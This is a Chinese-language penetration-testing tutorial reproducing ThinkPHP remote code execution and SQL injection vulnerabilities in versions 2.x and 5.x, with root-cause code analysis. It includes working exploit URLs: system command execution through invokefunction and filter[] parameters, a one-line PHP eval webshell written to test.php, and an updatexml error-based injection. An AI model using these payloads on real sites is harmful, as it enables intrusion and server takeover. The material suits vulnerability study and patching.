滲透測試之路:ThinkPHP漏洞復現

2023-01-04 18:01:18
本篇文章給大家帶來了關於thinkphp的相關知識,其中主要介紹了關於ThinkPHP漏洞復現的相關內容,下面一起來看一下,希望對大家有幫助。

ThinkPHP

1)簡介

ThinkPHP是一個免費開源的,快速的,簡單的物件導向的國產輕量級PHP開發框架。

ThinkPHP遵循Apache2開源協定釋出,是為了敏捷WEB應用開發和簡化企業級應用開而誕生的,具有免費開源,快速簡單及物件導向等眾多的優秀功能和特性。ThinkPHP經歷了五年多發展的同時,在社群團隊的積极參與下,在易用性,擴充套件性和效能方面不斷優化和改進,眾多的典型案例確保可以穩定用於商業以及門戶的開發。

ThinkPHP借鑑了國外很多優秀的框架和模式,使用物件導向的開發結構和MVC模式,採用單一入口模式等。融合了Struts的Action思想和JSP的TagLib(標籤庫),ROR的ORM對映和ActiveRecord模式;封裝了CURD和一些常用操作,在專案設定,類庫匯入,模板引擎,查詢語言,自動驗證,檢視模型,專案編譯,快取機制,SEO支援,分散式資料庫,多資料庫連線和切換,認證機制和擴充套件性方面均有獨特的表現。

使用ThinkPHP,可以更方便和快捷的開發和部署應用。ThinkPHP本身具有很多的原創特性,並且倡導大道至簡,開發由我的開發理念,用最少的程式碼完成更多的功能,宗旨就是讓WEB應用開發更簡單,更快速!

2)安裝方法

下載ThinkPHP後解壓完成會形成兩個資料夾:ThinkPHP和Examples。

ThinkPHP無需單獨安裝,將ThinkPHP資料夾FTP至伺服器Web目錄或拷貝至本地Web目錄下面即可。

3)ThinkPHP目錄結構說明

ThinkPHP.php:框架入口檔案

Common:包含框架的一些公共檔案,系統定義,系統函數和慣例設定等

Conf:框架組態檔目錄

Lang:系統語言檔案目錄

Lib:系統基礎類別庫目錄

Tpl:系統模板目錄

Extend:框架擴充套件s

4)ThinkPHP執行環境要求

可以支援Windows/Unix伺服器環境,可以執行包括Apache,IIS和nginx在內的多種WEB伺服器和多種模式。需要PHP5.2.0以上版本支援,支援MYSQL,MSSQL,PGSQL,SQLITE,ORACLE,LBASE以及PDo等多種資料庫和連線。

ThinkPHP本身沒有什麼特別模組要求,具體的應用系統執行環境要求視開發所涉及的模組。ThinkPHP底層執行的記憶體消耗極低,而本身的檔案大小也是輕量級,因此不會出現空間和記憶體佔用的瓶頸。

一、2-rce

0x01 提前瞭解知識

preg_replace函數:

preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = - 1 [ , int &$count ]])

搜尋subject中匹配pattern的部分,以replacement進行替換。

  • $pattern:要搜尋的模式,可以是字串或者一個字串陣列

  • $replacement:用於替換的字串或者陣列

  • $subject:用於替換的目標字串或者陣列

  • $limit:可選,對於每個模式用於每個subject字串的最大可替換數。預設是-1

  • $count:可選·,為替換執行的次數

返回值:

如果subject為一個陣列,則返回一個陣列,其他情況下返回一個字串。

如果匹配被查詢到,替換後的subject被返回,其他情況下,返回沒有改變的 subject,如果發生錯誤返回NULL

正規表示式:https://www.runoob.com/regexp/regexp-syntax.html

0x02 實驗步驟

存取頁面,發現是一個Thinkphp的cms框架,由於是漏洞復現,我們很清楚的知道他的版本是2.x。如果不知道版本的可以通過亂輸入徑進行報錯,或是使用雲悉指紋識別進行檢測

06.png

此時輸入已經爆出的遠端程式碼執行命令即可浮現漏洞:

/index.php?s=/index/index/xxx/${@phpinfo()}   //phpinfo敏感檔案
/index.php?s=a/b/c/${@print(eval($_POST[1]))}  //此為一句話連菜刀
登入後複製

07.png

這裡只要將phpinfo()換成一句話木馬即可成功!

0x03 實驗原理

1)通過觀察這句話,我們可以清楚的知道它是將

${@phpinfo()}
登入後複製

作為變數輸出到了頁面顯示,其原理,我通過freebuf總結一下:

在PHP當中, ${} 是可以構造一個變數的, {} 寫的是一般字元,那麼就會被當作成變數,比如 ${a} 等價於 $a

thinkphp所有的主入口檔案預設存取index控制器(模組)

thinkphp所有的控制器預設執行index動作(方法)

http://serverName/index.php(或者其它應用入口檔案)?s=/模組/控制器/操作/[引數名/引數值...]

陣列$var在路徑存在模組和動作時,會去除前面兩個值。而陣列$var來自於explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路徑。

所以我們構造poc如下:

/index.php?s=a/b/c/${phpinfo()}

/index.php?s=a/b/c/${phpinfo()}/c/d/e/f

/index.php?s=a/b/c/d/e/${phpinfo()}.......

2)換而言之,就是在thinphp的類似於MVC的框架中,存在一個Dispatcher.class.php的檔案,它規定了如何解析路由,在該檔案中,存在一個函數為static public function dispatch(),此為URL對映控制器,是為了將URL存取的路徑對映到該控制器下獲取資源的,而當我們輸入的URL作為變數傳入時,該URL對映控制器會將變數以陣列的方式獲取出來,從而導致漏洞的產生。

類名為`Dispatcher`,class Dispatcher extends Think
裡面的方法有:
static public function dispatch() URL對映到控制器
public static function getPathInfo()  獲得伺服器的PATH_INFO資訊
static public function routerCheck() 路由檢測
static private function parseUrl($route)
static private function getModule($var) 獲得實際的模組名稱
static private function getGroup($var) 獲得實際的分組名稱
登入後複製

二、5.0.23-rce

漏洞簡介

ThinkPHP 5.x主要分為 5.0.x和5.1.x兩個系列,系列不同,復現漏洞時也稍有不同。

在ThinkPHP 5.x中造成rce(遠端命令執行)有兩種原因

1.路由對於控制器名控制不嚴謹導致RCE、

2.Request類對於呼叫方法控制不嚴謹加上變數覆蓋導致RCE

首先記錄這兩個主要POC:

控制器名未過濾導致rce

function為反射呼叫的函數,vars[0]為傳入的回撥函數,vars[1][]為引數為回撥函數的引數

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

核心類Request遠端程式碼執行漏洞

filter[]為回撥函數,get[]或route[]或server[REQUEST_METHOD]為回撥函數的引數,執行回撥函數的函數為call_user_func()

核心版需要開啟debug模式

POST /index.php?s=captch

_ method=_ construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

or

_ method=_construct&method=get&filter[]=system&get[]=pwd

控制器名未過濾導致RCE

0x01 簡介

2018年12月9日,ThinkPHP v5系列釋出安全更新v5.0.23,修復了一處可導致遠端程式碼執行的嚴重漏洞。在官方公佈了修復記錄後,才出現的漏洞利用方式,不過不排除很早之前已經有人使用了0day

該漏洞出現的原因在於ThinkPHP5框架底層對控制器名過濾不嚴,從而讓攻擊者可以通過url呼叫到ThinkPHP框架內部的敏感函數,進而導致getshell漏洞

最終確定漏洞影響版本為:

ThinkPHP 5.0.5-5.0.22

ThinkPHP 5.1.0-5.1.30

理解該漏洞的關鍵在於理解ThinkPHP5的路由處理方式主要分為有設定路由和未設定路由的情況,在未設定路由的情況,ThinkPHP5將通過下面格式進行解析URL

http://serverName/index.php(或者其它應用入口檔案)/模組/控制器/操作/[引數名/引數值...]
登入後複製

同時在相容模式下ThinkPHP還支援以下格式解析URL:

http://serverName/index.php(或者其它應用入口檔案)?s=/模組/控制器/操作/[引數名/引數值...](引數以PATH_INFO傳入)
http://serverName/index.php(或者其它應用入口檔案)?s=/模組/控制器/操作/[&引數名=引數值...]     (引數以傳統方式傳入)
登入後複製
eg:
http://tp5.com:8088/index.php?s=user/Manager/add&n=2&m=7
http://tp5.com:8088/index.php?s=user/Manager/add/n/2/m/8
登入後複製

本次漏洞就產生在未匹配到路由的情況下,使用相容模式解析url時,通過構造特殊url,呼叫意外的控制器中敏感函數,從而執行敏感操作

下面通過程式碼具體解析ThinkPHP的路由解析流程

0x02 路由處理邏輯詳細分析

分析版本: 5.0.22

跟蹤路由處理的邏輯,來完整看一下該漏洞的整體呼叫鏈:

thinkphp/library/think/App.php

116行,通過routeCheck()方法開始進行url路由檢測

在routeCheck()中,首先提取$path資訊,這裡獲取$path的方式分別為pathinfo模式和相容模式,pathinfo模式就是通過$_SERVER['PATH_INFO']獲取到的主要path資訊,==$_SERVER['PATH_INFO']會自動將URL中的""替換為"/",導致破壞名稱空間格式==,==相容模式下==$_SERVER['PATH_INFO']=$_GET[Config::get('var_pathinfo')];,path的資訊會通過get的方式獲取,var_pathinfo的值預設為's',從而繞過了反斜槓的替換==,這裡也是該漏洞的一個關鍵利用點

檢測邏輯:如果開啟了路由檢測模式(組態檔中的url_on為true),則進入路由檢測,結果返回給$result,如果路由無效且設定了只允許路由檢測模式(組態檔url_route_must為true),則丟擲異常。

在相容模式中,檢測到路由無效後(false === $result),則還會進入Route::parseUrl()檢測路由。我們重點關注這個路由解析方式,因為該方式我們通過URL可控:

放回最終的路由檢測結果$result($dispath),交給exec執行:

$dispatch = self::routeCheck($request, $config);//line:116
$data = self::exec($dispatch, $config);//line:139
public static function routeCheck($request, array $config)//line:624-658
{
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;
        // 路由檢測
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
        if ($check) {
            // 開啟路由
            ……
            // 路由檢測(根據路由定義返回不同的URL排程)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
            if ($must && false === $result) {
                // 路由無效
                throw new RouteNotFoundException();
            }
        }
        // 路由無效 解析模組/控制器/操作/引數... 支援控制器自動搜尋
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }
        return $result;
    }
登入後複製

thinkphp/libary/think/Route.php

跟蹤Route::parseUrl(),在註釋中可以看到大概解析方式

$url主要同通過parseUrlPath()解析,跟蹤該函數發現程式通過斜槓/來劃分模組/控制器/操作,結果為陣列形式,然後將他們封裝為$route,最終返回['type'=>'moudle','moudle'=>$route]陣列,作為App.php中$dispatch1值,並傳入exec()函數中

注意這裡使用的時 斜槓/來劃分每個部分,我們的控制器可以通過名稱空間來呼叫,名稱空間使用反斜槓\來劃分,正好錯過,這也是能利用的其中一個細節

/**
     * 解析模組的URL地址 [模組/控制器/操作?]引數1=值1&引數2=值2...
     * @access public
     * @param string $url        URL地址
     * @param string $depr       URL分隔符
     * @param bool   $autoSearch 是否自動深度搜尋控制器
     * @return array
*/
public static function parseUrl($url, $depr = '/', $autoSearch = false)//line:1217-1276
    {
        $url              = str_replace($depr, '|', $url);
        list($path, $var) = self::parseUrlPath($url);  //解析URL的pathinfo引數和變數
        $route            = [null, null, null];
        if (isset($path)) {
            // 解析模組,依次得到$module, $controller, $action
          ……
          // 封裝路由
            $route = [$module, $controller, $action];
        }
        return ['type' => 'module', 'module' => $route];
    }
登入後複製

thinkphp/library/think/Route.php

private static function parseUrlPath($url)//line:1284-1302
    {
        // 分隔符替換 確保路由定義使用統一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];
        if (false !== strpos($url, '?')) {
            // [模組/控制器/操作?]引數1=值1&引數2=值2...
            $info = parse_url($url);
            $path = explode('/', $info['path']);
            parse_str($info['query'], $var);
        } elseif (strpos($url, '/')) {
            // [模組/控制器/操作]
            $path = explode('/', $url);
        } else {
            $path = [$url];
        }
        return [$path, $var];
    }
登入後複製

路由解析結果作為exec()的引數進行執行,追蹤該函數

thinkphp/library/think/App.php
登入後複製

追蹤exec()函數,傳入了$dispatch,$config兩個引數,其中$dispatch為['type' => 'module', 'module' => $route]

因為 type 為 module,直接進入對應流程,然後執行module方法,其中傳入的引數$dispatch['module']為模組\控制器\操作組成的陣列

跟蹤module()方法,主要通過$dispatch['module']獲取模組$module, 控制器$controller, 操作$action,可以看到==提取過程中除了做小寫轉換,沒有做其他過濾操作==

$controller將通過Loader::controller自動載入,這是ThinkPHP的自動載入機制,只用知道此步會載入我們需要的控制器程式碼,如果控制器不存在會丟擲異常,載入成功會返回$instance,這應該就是控制器類的範例化物件,裡面儲存的有控制器的檔案路徑,名稱空間等資訊

通過is_callable([$instance, $action])方法判斷$action是否是$instance中可呼叫的方法

通過判斷後,會記錄$instacne,$action到$call中($call = [$instance, $action]),方便後續呼叫,並更新當前$request物件的action

最後$call將被傳入self::invokeMethod($call, $vars)

protected static function exec($dispatch, $config)//line:445-483
    {
        switch ($dispatch['type']) {
……
            case 'module': // 模組/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;
            ……
            default:
                throw new \InvalidArgumentException('dispatch type not support');
        }
        return $data;
    }
public static function module($result, $config, $convert = null)//line:494-608
    {
        ……
        if ($config['app_multi_module']) {
            // 多模組部署
          // 獲取模組名
            $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));
……
        }
……
        // 獲取控制器名
        $controller = strip_tags($result[1] ?: $config['default_controller']);
        $controller = $convert ? strtolower($controller) : $controller;
        // 獲取操作名
        $actionName = strip_tags($result[2] ?: $config['default_action']);
        if (!empty($config['action_convert'])) {
            $actionName = Loader::parseName($actionName, 1);
        } else {
            $actionName = $convert ? strtolower($actionName) : $actionName;
        }
        // 設定當前請求的控制器、操作
        $request->controller(Loader::parseName($controller, 1))->action($actionName);
      ……
        try {
            $instance = Loader::controller(
                $controller,
                $config['url_controller_layer'],
                $config['controller_suffix'],
                $config['empty_controller']
            );
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }
        // 獲取當前操作名
        $action = $actionName . $config['action_suffix'];
        $vars = [];
        if (is_callable([$instance, $action])) {
            // 執行操作方法
            $call = [$instance, $action];
            // 嚴格獲取當前操作方法名
            $reflect    = new \ReflectionMethod($instance, $action);
            $methodName = $reflect->getName();
            $suffix     = $config['action_suffix'];
            $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
            $request->action($actionName);
        } elseif (is_callable([$instance, '_empty'])) {
            // 空操作
            $call = [$instance, '_empty'];
            $vars = [$actionName];
        } else {
            // 操作不存在
            throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
        }
        Hook::listen('action_begin', $call);
        return self::invokeMethod($call, $vars);
    }
登入後複製

先提前看下5.0.23的修復情況,找到對應的commit,對傳入的控制器名做了限制

08.png

thinkphp/library/think/App.php

跟蹤invokeMethod,其中 $method = $call = [$instance, $action]

通過範例化反射物件控制$instace的$action方法,即控制器類中操作方法

中間還有一個繫結引數的操作

最後利用反射執行對應的操作

public static function invokeMethod($method, $vars = [])
    {
        if (is_array($method)) {
            $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
            $reflect = new \ReflectionMethod($class, $method[1]);
        } else {
            // 靜態方法
            $reflect = new \ReflectionMethod($method);
        }
        $args = self::bindParams($reflect, $vars);
        self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
        return $reflect->invokeArgs(isset($class) ? $class : null, $args);
    }
登入後複製

以上便是ThinkPHP5.0完整的路由檢測,

0x03 弱點利用

如上我們知道,url 路由檢測過程並沒有對輸入有過濾,我們也知道通過url構造的模組/控制器/操作主要來呼叫對應模組->對應的類->對應的方法,而這些引數通過url可控,我們便有可能操控程式中的所有控制器的程式碼,接下來的任務便是尋找敏感的操作

thinkphp/library/think/App.php

public static function invokeFunction($function, $vars = [])//line:311-320
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);
        // 記錄執行資訊
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
        return $reflect->invokeArgs($args);
    }
登入後複製

該函數通過ReflectionFunction()反射呼叫程式中的函數,這就是一個很好利用的點,我們通過該函數可以呼叫系統中的各種敏感函數。

找到利用點了,現在就需要來構造poc,首先觸發點在thinkphp/library/think/App.php中的invokeFunction,我們需要構造url格式為模組\控制器\操作

模組我們用預設模組index即可,首先大多數網站都有這個模組,而且每個模組都會載入app.php檔案,無須擔心模組的選擇

該檔案的名稱空間為think,類名為app,我們的控制器便可以構造成\think\app。因為ThinkPHP使用的自動載入機制會識別名稱空間,這麼構造是沒有問題的。

操作直接為invokeFunction,沒有疑問

引數方面,我們首先要觸發第一個呼叫函數,簡化一下程式碼再分析一下:

第一行確定 $class 就是我們傳入的控制器\think\app範例化後的物件

第二行繫結我們的方法,也就是invokefunction

第三方就可以呼叫這個方法了,其中$args是我們的引數,通過url構造,將會傳入到invokefunction中

$class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
登入後複製

然後就進入我們的invokefunctio,該函數需要什麼引數,我們就構造什麼引數,首先構造一個呼叫函數function=call_user_func_array

call_user_func_array需要兩個引數,第一個引數為函數名,第二個引數為陣列,var[0]=system,var[1][0]=id

這裡因為兩次反射一次回撥呼叫需要好好捋一捋。。。。

09.png

復現成功

10.png

三.5-rce

0x01 漏洞原理

ThinkPHP是一款運用極廣的PHP開發框架,其版本5中,由於沒有使用正確的控制器名,導致在網站沒有開啟強制路由的情況下(即預設情況下),可以執行任意方法,從而導致遠端命令執行漏洞。

0x02 漏洞影響版本

ThinkPHP 5.0.5-5.0.22

ThinkPHP 5.1.0-5.1.30

0x03 漏洞復現

可以利用點:

http://192.168.71.141:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

11.png

vars[0]用來接受函數名,vars[1][]用來接收引數

如:index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27

12.png

會在螢幕上打出123和我們輸入的字串長度

寫入一句話木馬getshell

使用file_put_contents函數寫入shell:

vars[0]=system&vars[1][]=echo%20"<?php%20@eval(\$_POST[1]);%20?>">>test.php

13.png

使用蟻劍成功getshell!

四.In-sqlinjection-rce

0x01 瞭解的知識:

pdo預編譯:

當我們使用mysql語句進行資料查詢時,資料首先傳入計算機,計算機進行編譯之後傳入資料庫進行資料查詢

(我們使用的是高階語言,計算機無法直接理解執行,所以我們將命令或請求傳入計算機時,計算機首先將我們的語句編譯成為計算機語言,之後再進行執行,所以如果不編譯直接執行計算機是無法理解的,如傳入select函數,沒編譯之前計算機只認為這是五個字元,而無法理解這是個查詢函數)

如此說來,我們每次查詢時都需要先編譯,這樣會加大成本,並且會存在sql注入的可能,所以有一定危險。

如此,我們進行查詢資料庫資料時使用預編譯,例如:

select ? from security where tables=?
登入後複製

此語句中?代表預留位置,在pdo中表示之後繫結的資料,此時無法確定具體值

使用者在傳入查詢具體數值時,計算機首先將以上的查詢語句進行編譯,使其具有執行力,之後再對於?代表的具體數值就不進行編譯而直接進行查詢,所以我們在?處利用sql注入語句代替時,就不具有任何效力,甚至傳入字串時還會報錯,而預編譯還可以節省成本,即上面語句除了查詢數值只編譯一次,之後進行相同語句查詢時直接使用,只是查詢具體數值改變。所以這種預編譯的方式可以很好的防止sql注入。

漏洞上下文如下:

<?php
namespace app\index\controller;
use app\index\model\User;
class Index
{
    public function index()
    {
        $ids = input('ids/a');
        $t = new User();
        $result = $t->where('id', 'in', $ids)->select();
    }
}
登入後複製

如上述程式碼,如果我們控制了in語句的值位置,即可通過傳入一個陣列,來造成SQL隱碼攻擊漏洞。

文中已有分析,我就不多說了,但說一下為什麼這是一個SQL隱碼攻擊漏洞。IN操作程式碼如下:

<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
    // 處理帶非單詞字元的欄位名
    $bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
    // IN 查詢
    if ($value instanceof \Closure) {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(',', $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . '_in_' . $k)) {
                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
                } else {
                    $bindKey = $bindName . '_in_' . $k;
                }
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = ':' . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(',', $array);
        } else {
            $zone = implode(',', $this->parseValue($value, $field));
        }
        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
    }
登入後複製

可見,$bindName在前邊進行了一次檢測,正常來說是不會出現漏洞的。但如果$value是一個陣列的情況下,這裡會遍歷$value,並將$k拼接進$bindName。

也就是說,我們控制了預編譯SQL語句中的鍵名,也就說我們控制了預編譯的SQL語句,這理論上是一個SQL隱碼攻擊漏洞。那麼,為什麼原文中說測試SQL隱碼攻擊失敗呢?

這就是涉及到預編譯的執行過程了。通常,PDO預編譯執行過程分三步:

prepare($SQL)編譯SQL語句

bindValue($param, $value)將value繫結到param的位置上

execute()執行

這個漏洞實際上就是控制了第二步的$param變數,這個變數如果是一個SQL語句的話,那麼在第二步的時候是會丟擲錯誤的:

14.png

所以,這個錯誤「似乎」導致整個過程執行不到第三步,也就沒法進行注入了。

但實際上,在預編譯的時候,也就是第一步即可利用。我們可以做有一個實驗。編寫如下程式碼:

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];
$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);
try {
    $link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (\PDOException $e) {
    var_dump($e);
}
登入後複製

執行發現,雖然我只呼叫了prepare函數,但原SQL語句中的報錯已經成功執行:

15.png

究其原因,是因為我這裡設定了PDO::ATTR_EMULATE_PREPARES => false。

這個選項涉及到PDO的「預處理」機制:因為不是所有資料庫驅動都支援SQL預編譯,所以PDO存在「模擬預處理機制」。如果說開啟了模擬預處理,那麼PDO內部會模擬引數繫結的過程,SQL語句是在最後execute()的時候才傳送給資料庫執行;如果我這裡設定了PDO::ATTR_EMULATE_PREPARES => false,那麼PDO不會模擬預處理,引數化繫結的整個過程都是和Mysql互動進行的。

非模擬預處理的情況下,引數化繫結過程分兩步:第一步是prepare階段,傳送帶有預留位置的sql語句到mysql伺服器(parsing->resolution),第二步是多次傳送預留位置引數給mysql伺服器進行執行(多次執行optimization->execution)。

這時,假設在第一步執行prepare($SQL)的時候我的SQL語句就出現錯誤了,那麼就會直接由mysql那邊丟擲異常,不會再執行第二步。我們看看ThinkPHP5的預設設定:

...
// PDO連線引數
protected $params = [
    PDO::ATTR_CASE              => PDO::CASE_NATURAL,
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,
    PDO::ATTR_STRINGIFY_FETCHES => false,
    PDO::ATTR_EMULATE_PREPARES  => false,
];
...
登入後複製

可見,這裡的確設定了PDO::ATTR_EMULATE_PREPARES => false。所以,終上所述,我構造如下POC,即可利用報錯注入,獲取user()資訊:

http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

16.png

但是,如果你將user()改成一個子查詢語句,那麼結果又會爆出Invalid parameter number: parameter was not defined的錯誤。因為沒有過多研究,說一下我猜測:預編譯的確是mysql伺服器端進行的,但是預編譯的過程是不接觸資料的 ,也就是說不會從表中將真實資料取出來,所以使用子查詢的情況下不會觸發報錯;雖然預編譯的過程不接觸資料,但類似user()這樣的資料庫函數的值還是將會編譯進SQL語句,所以這裡執行並爆了出來。

個人總結

其實ThinkPH框架漏洞大多用到的都是設定對於控制器名的一個疏忽問題,不理解的小夥伴可以查來url呼叫檔案的機制來學習一下,其實這些框架漏洞都是基於基礎漏洞的一些拓展,至於sql漏洞,瞭解一下pdo預編譯原理即可。

不管java或是php在進行資料庫查詢的時候都應該進行pdo預編譯,我們都知道,在jdbc工作的時候分成好多步

1.建立連線

2.寫入sql語句

3.預編譯sql語句

4.設定引數

5.執行sql獲取結果

6.遍歷結果(處理結果)

7.關閉連線

對於程式設計師來說,jdbc操作總是很麻煩,所以利用預編譯就是將mysql查詢語句進行封裝,之後在進行查詢的時候直接輸入引數即可,這樣即簡化了操作也極大程度加強了安全屬性,而以此類推,這樣來說我們是否可以將其他步驟也進行封裝呢,也就是建立連線,寫入sql語句等,只留下寫入sql語句與遍歷結果來進行操作,這樣就更加簡化了操作。

於是就誕生出了Mybatis半自動框架與Hibernate全自動框架,直接將jdbc的操作進行封裝,但是由於全自動框架可操作性過於狹窄,所以現在市面上更多的還是Mybatis框架進行連線伺服器端與資料庫,但是一般政府或國企的專案還是偏向於Hibernate框架,這些知識都是涉及一些程式設計知識,大家可以自己去了解一下。

推薦學習:《》

以上就是滲透測試之路:ThinkPHP漏洞復現的詳細內容,更多請關注TW511.COM其它相關文章!